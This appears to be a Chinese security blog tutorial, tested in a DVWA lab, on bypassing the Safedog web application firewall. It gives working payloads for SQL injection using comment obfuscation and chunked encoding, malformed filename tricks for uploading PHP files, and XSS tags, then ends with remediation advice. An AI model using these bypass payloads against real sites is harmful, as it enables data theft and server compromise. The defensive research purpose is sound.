绕过WAF进行常见Web漏洞利用
前言
本文以最新版安全狗为例,总结一下我个人掌握的一些绕过WAF进行常见WEB漏洞利用的方法。
PS:本文仅用于技术研究与讨论,严禁用于任何非法用途,违者后果自负,作者与平台不承担任何责任
PPS:本文首发于freebuf (https://www.freebuf.com/articles/web/254513.html )
测试环境
PHPStudy(PHP5.4.45+Apache+MySQL5.5.53)+最新版安全狗(4.0.28330)


靶场使用DVWA:http://www.dvwa.co.uk/
SQL注入
判断是否存在注入
方法一
and 1=1被拦截

单独的and是不拦截的。and后面加数字或者字符的表达式会被匹配拦截。
1=1,1=2的本质是构造一个真、假值,我们可以直接用True,False代替

但是依然会被拦截。不过and也可以用 && 代替。
我们构造1' && True --+ 就可绕过

1' && False --+

方法二
将and 后面的数字或者字符表达式加几个内联注释也可以绕过。
内联注释:/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行。这些语句在不兼容的数据库中使用时便不会执行
如: 1' and /*!1*/=/*!1*/ --+

1' and /*!1*/=/*!2*/ --+

方法三 分块传输
分块传输的原理请自行检索,这里不再赘述。
分块传输插件:https://github.com/c0ny1/chunked-coding-converter/releases/tag/0.2.1

正常写测试payload : 1' and 1=1 --+

将请求方式改为POST,然后进行分块传输编码


可以看到,没有被拦截。
1' and 1=2 --+

猜解字段数
方法一
order by被拦截

单独的order和单独的by都不会被拦截,我们需要在order by之间加各种无效字符。
可以将 1' order /*$xxx$*/ by 1 --+ 放burp里跑各种垃圾参数字典来爆破。
经过测试,1' order/*%%!asd%%%%*/by 3 --+可以成功过狗

通过内联注释/*!*/和注释/**/以及一些无效字符也可以绕过(需要不断Fuzz尝试)
1' /*!order/*!/*/**/by*/ 3 --+

方法二 分块传输
1' order by 3 --+


获取当前数据库
方法一
1' union select 1,database() --+ 被拦截
分开测试 union select 会被拦截

database() 也会被拦截

先绕过union select:
和之前order by的绕过方法一样
1' union/*%%!asd%%%%*/select 1,2 --+

再绕过database():
经过测试,我们发现单独的database不会被拦截,加了括号就会了
我们将之前的垃圾数据/*%%!asd%%%%*/放到括号了,即可成功绕过

拼接一下,最终的payload为:
1' union/*%%!asd%%%%*/select 1,database(/*%%!asd%%%%*/) --+

方法二 分块传输
分块传输依然可以
1' union select 1,database() --+


获取数据库中的表
方法一
正常注入语句:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
根据前面的测试,这个绕过就很简单了,只需要将一个空格地方替换成/*%%!asd%%%%*/即可。
Payload:
1' union/*%%!asd%%%%*/select 1,group_concat(table_name) /*%%!asd%%%%*/from /*%%!asd%%%%*/information_schema.tables where table_schema=database(/*%%!asd%%%%*/) --+

方法二 分块传输


获取表中的字段名
方法一
正常注入语句:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ --+
绕过方法和获取表的操作无异:
1' union/*%%!asd%%%%*/select 1,group_concat(column_name) /*%%!asd%%%%*/from/*%%!asd%%%%*/information_schema.columns where table_name=’users’ --+

方法二 分块传输


获取数据
方法一
正常注入语句:
1' union select group_concat(user),group_concat(password) from users --+
绕过方法还是一样:
1' union/*%%!asd%%%%*/select group_concat(user),group_concat(password) /*%%!asd%%%%*/from/*%%!asd%%%%*/users --+

方法二 分块传输


文件上传
安全狗对文件上传的拦截是通过检测文件扩展名来实现的。只要解析结果在禁止上传的文件类型列表中,就会被拦截。

我们要做的就是构造各种畸形数据包,以混淆WAF的检测规则。
获取文件名的地方在Content-Disposition和Content-Type,所以绕过的地方也主要在这两个地方

直接上传PHP文件会被拦截


绕过方法1
将filename=”hhh.php” 改为filename=hhh.php; 即可绕过


绕过方法2
各种换行,主要是要把点号和字符串”php”分开

绕过方法3
将filename=”hhh.php” 改为 filename==”hhh.php”(三个等号也可以绕过)

绕过方法4
文件名之间放置分号 filename=”hh;h.php”

绕过方法5
多个filename=”hhh.txt”,最后一个filename=”hhh.php”

XSS
查看安全狗的漏洞防护规则可以发现,安全狗对XSS的防护是基于黑名单的,我们只要fuzz一下哪些标签没有被过滤就好了。

有很多标签可以绕过,这里举例两种:
(1) <audio> 标签定义声音,比如音乐或其他音频流。
<audio src=1 onerror=alert(/xss/);>
<audio src=1 onerror=prompt('xss');>

(2) <object> 标签,data属性
alert(‘xss’)的base64编码:PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
payload:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>

文件包含

通过绝对路径、相对路径,稍微加些混淆就能绕过...

修复建议
我们研究WAF绕过的目的主要是为了警醒网站开发者并不是部署了WAF就可以高枕无忧了,要明白漏洞产生的根本原因,最好能在代码层面上就将其修复。下面给出一些修复建议:
SQL注入
使用预编译sql语句查询和绑定变量:使用PDO需要注意不要将变量直接拼接到PDO语句中。所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。当前几乎所有的数据库系统都提供了参数化SQL语句执行接口,使用此接口可以非常有效的防止SQL注入攻击。
对用户输入的数据格式进行严格要求,比如编号只能输入数字就只能输入数字,只能输入字母就只能输入字符,并且对数据的长度进行限制。
文件上传
文件上传的目录设置为不可执行:只要Web容器无法解析该目录下的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响。在实际的上传应用中,可以将文件上传后放到独立的存储上,做静态文件处理,一方面方便使用缓存加速,降低性能损耗;另一方面也杜绝了脚本执行的可能。
使用随机数改写文件名和文件路径
上传文件时,服务端采用白名单形式限制文件上传的后缀名称,只允许上传“jpg、png、gif、bmp 、doc、docx、rar、zip”等非Web脚本执行文件。
XSS
对用户输入的参数中的特殊字符进行HTML转义或者编码,防止出现有意义的HTML、CSS、JavaScript代码,如:“’、”、<、>、(、=、.”等特殊字符。可以通过Filter过滤器实现全局编码或者转义,也可以在单点对字符串类型数据进行编码或者转义。
绕过WAF进行常见Web漏洞利用的更多相关文章
- 十大常见web漏洞及防范
十大常见web漏洞 一.SQL注入漏洞 SQL注入攻击(SQL Injection),简称注入攻击.SQL注入,被广泛用于非法获取网站控制权,是发生在应用程序的数据库层上的安全漏洞.在设计程序,忽略了 ...
- 常见web漏洞
常见的web漏洞——文件上传漏洞 一.文件上传漏洞概述 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击方式是最为直接和有效的,有时候几乎没 ...
- 常见web漏洞整理之进击吧xss!!!
XSS在线测试环境: http://xss-quiz.int21h.jp/ https://brutelogic.com.br/xss.php 这两个站对xss的理解很有帮助!!! 参考链接: htt ...
- 常见web漏洞的整理之SQL注入
SQL注入: 简介: 全称Structured Query Language,即结构化查询语言,是一种特殊的编程语言,用于数据库中的标准数据查询语言.也被作为关系式数据库管理系统的标准语言. 原理: ...
- SRC常见WEB漏洞系列之HTTP-HOST头攻击
一.背景: web程序需要知道网站的域名比较麻烦,需要使用HTTP的 host头字段: <?php _SERVER["HTTP_HOST"] ?> @app.route ...
- 常见web漏洞修复方法
方法如下: 漏洞修复.(输入过滤,输出转义) 1.在连接数据库时,在接收参数后进行转义,$id = mysql_real_escape_string($id); 2.在网页源码中在接收参数后可用htm ...
- 通过HTTP参数污染绕过WAF拦截 (转)
上个星期我被邀请组队去参加一个由CSAW组织的CTF夺旗比赛.因为老婆孩子的缘故,我只能挑一个与Web漏洞利用相关的题目,名字叫做”HorceForce”.这道题价值300点.这道题大概的背景是,你拥 ...
- 格式化字符串漏洞利用实战之 njctf-decoder
前言 格式化字符串漏洞也是一种比较常见的漏洞利用技术.ctf 中也经常出现. 本文以 njctf 线下赛的一道题为例进行实战. 题目链接:https://gitee.com/hac425/blog_d ...
- 漏洞利用 Exploit---利用默认口令、IP假冒、应用漏洞
漏洞利用 编辑 讨论 本词条由“科普中国”科学百科词条编写与应用工作项目 审核 . 漏洞利用(英语:Exploit,本意为“利用”)是计算机安全术语,指的是利用程序中的某些漏洞,来得到计算机的控制权( ...
随机推荐
- nginx 练习(将游戏图片部署到NFS+LNMP架构简介+uwsgi架构简介)
nginx(将游戏图片部署到NFS) 练习 一.首先去NFS这里创建挂载点 1.先在NFS的opt下面创建文件夹存放图片 [root@linux opt]# mkdir /opt/img 2.然后将此 ...
- 框架3--backup结构(rsync复制指令)
目录 框架3--备份结构(rsync复制指令) 一.3个复制指令 二.rsync介绍 三.rsync特性 四.rsync应用场景 4.1 全量备份 4.2 增量备份 五.rsync的传输方式(推+拉) ...
- 常用文本处理命令 & 三剑客之 sed
今日内容 文本处理命令 Linux 三剑客之 sed 内容详细 文本处理命令 1.sort : 文件内容排序 默认按照文件隔行内容的第一个字符大小进行排序(默认是升序) 默认输出文本结果 sort [ ...
- 如何在TypeScript/JavaScript项目里引入MD5校验和
摘要:MD5校验和则是其中一种数学算法,通常是使用工具对文件计算得出的一组32 个字符的十六进制字母和数字. 本文分享自华为云社区<TypeScript/JavaScript项目里如何做MD5校 ...
- web开发 小方法2-字体设置
font-size 字体大小 直接给 (任意px) 就可以 font-family:"微软雅黑"; 这个里面可以给多个用空格区分 按照先后优先级使用 当没有第一个字体的时候会 ...
- 使用hystrix监控时出现java.lang.ClassNotFoundException: com.netflix.hystrix.contrib.javanica.aop.aspectj.HystrixCommandAsp错误,导致无法启动
解决方法: 添加依赖 <dependency> <groupId>com.netflix.hystrix</groupId> <artifactId>h ...
- 云原生 PostgreSQL - CrunchyData PGO 教程:创建、连接、删除 Postgres 集群
入门 作为安装的一部分,请确保您已完成以下操作: 分叉 Postgres Operator 示例存储库并将其克隆到您的主机. https://github.com/CrunchyData/postgr ...
- Redis原理再学习04:数据结构-哈希表hash表(dict字典)
哈希函数简介 哈希函数(hash function),又叫散列函数,哈希算法.散列函数把数据"压缩"成摘要,有的也叫"指纹",它使数据量变小且数据格式大小也固定 ...
- NSSCTF-[SWPU 2019]伟大的侦探
下载附件得到一个压缩包,解压需要密码,但是得到一个"密码.txt"的文件,打开查看 根据菜狗的刷题经验,这是个EBCDIC的编码,打开010编辑器,打开"密码.txt&q ...
- Hadoop2.7.2源码编译过程
目录 准备工作 jar包安装 源码编译 准备工作 CentOS可以联网,验证:ping www.baidu.com 是畅通的 jar 包准备(hadoop 源码.JDK8.maven.ant .pro ...